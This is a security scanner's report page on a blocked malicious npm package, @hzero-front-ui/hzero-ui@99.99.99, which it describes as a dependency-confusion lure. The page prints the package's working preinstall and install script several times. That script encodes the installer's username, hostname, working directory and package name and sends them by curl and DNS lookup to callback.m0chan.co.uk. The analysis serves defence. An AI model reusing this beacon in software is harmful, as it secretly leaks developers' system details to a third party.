Skip to main content

Threat feed How it works Policy

Threat feed How it works Policy

Loading npm security reports…

@hzero-front-ui/hzero-ui@99.99.99: Malicious npm security report | LPM Firewall

Skip to main content

Threat feed How it works Policy

Threat feed How it works Policy

Blocked & quarantined

Leaks username, hostname, working directory, and package identity to a third-party callback domain during installation.

View on npm All versions

registry / @hzero-front-ui/hzero-ui / 99.99.99

@hzero-front-ui/hzero-ui@99.99.99

Internal automation library.

AI Security Review

scanned 2d ago · by lpm-firewall-ai

Installation automatically collects local identity and environment metadata, then transmits it through HTTP and DNS. The package has no substantive runtime implementation.

Static reason

One or more suspicious static signals were detected.

Trigger

npm preinstall or install lifecycle execution

Impact

Leaks username, hostname, working directory, and package identity to a third-party callback domain during installation.

Mechanism

install-time metadata collection with HTTP/DNS exfiltration

Attack narrative

On npm installation, both lifecycle hooks build a base64 value from the current username, hostname, working directory, and package name. They send it to a callback domain with curl and encode package data into a DNS lookup. This is undisclosed install-time exfiltration, while the declared entrypoint is empty.

Rationale

Direct source inspection confirms two automatic install hooks that exfiltrate host and environment metadata to an unrelated callback domain. The package provides no corresponding runtime functionality.

Evidence

package.jsonindex.jsREADME.md

Network endpoints2

$pkgsub.callback.m0chan.co.uk/$b64$pkgdns.$pkgsub.callback.m0chan.co.uk

OSV Corroboration

OpenSSF/OSV

© 2026 LPM Firewall

Product

Threat feed How it works Policy

LPM

LPM.dev Registry

Advisory

MAL-2026-13970

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in @hzero-front-ui/hzero-ui (npm)

Details

Package @hzero-front-ui/hzero-ui@99.99.99 is a scope-lookalike of @hzero-front/hzero-ui with a placeholder version, empty author, generic description, and a trivial index.js. Its package.json preinstall and install lifecycle scripts base64-encode $(whoami):$(hostname):$(pwd):$npm_package_name and send the encoded value to attacker-controlled subdomains of callback.m0chan.co.uk over both HTTPS (curl) and DNS (nslookup). This fires automatically on `npm install`, leaking the installer's OS username, hostname, current working directory, and the internal package name that resolved to this lure — the canonical dependency-confusion beacon shape.

References

OSV advisory PACKAGE

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

preinstall sends encoded username, hostname, working directory, and package name to a remote callback host.
install repeats the same network and DNS exfiltration routine.

Evidence against

index.js only exports an empty object; no legitimate runtime functionality was found.
README contains only a generic description and does not document the install-time behavior.

Behavioral surface

SourceNo risky source behavior triggered.

Supply chain

Trivial

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 21 B of source

Source & flagged code

4 flagged · loading source

package.jsonView file

•scripts.preinstall = b64=$(printf '%s' "$(whoami):$(hostname):$(pwd):$npm[redacted]" | base64 -w0); pkgsub=$(printf '%s' "$npm[redacted]" | sed 's/@//g; s|/|-|g'); pkgdns=$(printf '%s' "$npm_pack...

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

7"preinstall": "b64=$(printf '%s' \"$(whoami):$(hostname):$(pwd):$npm[redacted]\" | base64 -w0); pkgsub=$(printf '%s' \"$npm[redacted]\" | sed 's/@//g; s|/|-|g'); pkgdns=$(printf '%s' \"$npm[redacted]\" | base64 -w0 | tr '+/' '-_' | tr -d '='); curl -sm5 https://$pkgsub.callback.m0chan.co.uk/$b64; nslookup $pkgdns.$pkgsub.callback.m0chan.co.uk",

High

Ai Review Evidence

preinstall sends encoded username, hostname, working directory, and package name to a remote callback host.

package.jsonView on unpkg · L7

•scripts.preinstall = b64=$(printf '%s' "$(whoami):$(hostname):$(pwd):$npm[redacted]" | base64 -w0); pkgsub=$(printf '%s' "$npm[redacted]" | sed 's/@//g; s|/|-|g'); pkgdns=$(printf '%s' "$npm_pack...

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

•scripts.install = b64=$(printf '%s' "$(whoami):$(hostname):$(pwd):$npm[redacted]" | base64 -w0); pkgsub=$(printf '%s' "$npm[redacted]" | sed 's/@//g; s|/|-|g'); pkgdns=$(printf '%s' "$npm_pack...

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

Findings

2 High2 Medium1 Low

HighInstall Time Lifecycle Scriptspackage.json

HighAi Review Evidencepackage.json

MediumAmbiguous Install Lifecycle Scriptpackage.json

MediumAmbiguous Install Lifecycle Scriptpackage.json

LowScripts Present

99%Block

Verdict confidence

IntentMalware

TypeData Exfiltration

False-positive riskLow

Review stagesource_first_review

Firewall policyMatched malicious

Package metadata

npm

Version99.99.99

PublishedAug 13, 2026

LicenseISC

Dependencies0

Integrityverified

Package size518 B

Files3

Runtime surface

package.json

Entrypointsmain → index.js

RuntimeNo engine / OS / CPU constraints

Artifact1005 B · 3 files1 signature(s)

Install lifecycleinstallpreinstall

Behavioral surface

Source: cleanTrivialManifest: clean

LPM CLI

Source & flagged code

4 flagged

package.jsonView file

•scripts.preinstall = b64=$(printf '%s' "$(whoami):$(hostname):$(pwd):$npm[redacted]" | base64 -w0); pkgsub=$(printf '%s' "$npm[redacted]" | sed 's/@//g; s|/|-|g'); pkgdns=$(printf '%s' "$npm_pack...

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

7"preinstall": "b64=$(printf '%s' \"$(whoami):$(hostname):$(pwd):$npm[redacted]\" | base64 -w0); pkgsub=$(printf '%s' \"$npm[redacted]\" | sed 's/@//g; s|/|-|g'); pkgdns=$(printf '%s' \"$npm[redacted]\" | base64 -w0 | tr '+/' '-_' | tr -d '='); curl -sm5 https://$pkgsub.callback.m0chan.co.uk/$b64; nslookup $pkgdns.$pkgsub.callback.m0chan.co.uk",

High

Ai Review Evidence

preinstall sends encoded username, hostname, working directory, and package name to a remote callback host.

package.jsonView on unpkg · L7

•scripts.preinstall = b64=$(printf '%s' "$(whoami):$(hostname):$(pwd):$npm[redacted]" | base64 -w0); pkgsub=$(printf '%s' "$npm[redacted]" | sed 's/@//g; s|/|-|g'); pkgdns=$(printf '%s' "$npm_pack...

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

•scripts.install = b64=$(printf '%s' "$(whoami):$(hostname):$(pwd):$npm[redacted]" | base64 -w0); pkgsub=$(printf '%s' "$npm[redacted]" | sed 's/@//g; s|/|-|g'); pkgdns=$(printf '%s' "$npm_pack...

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg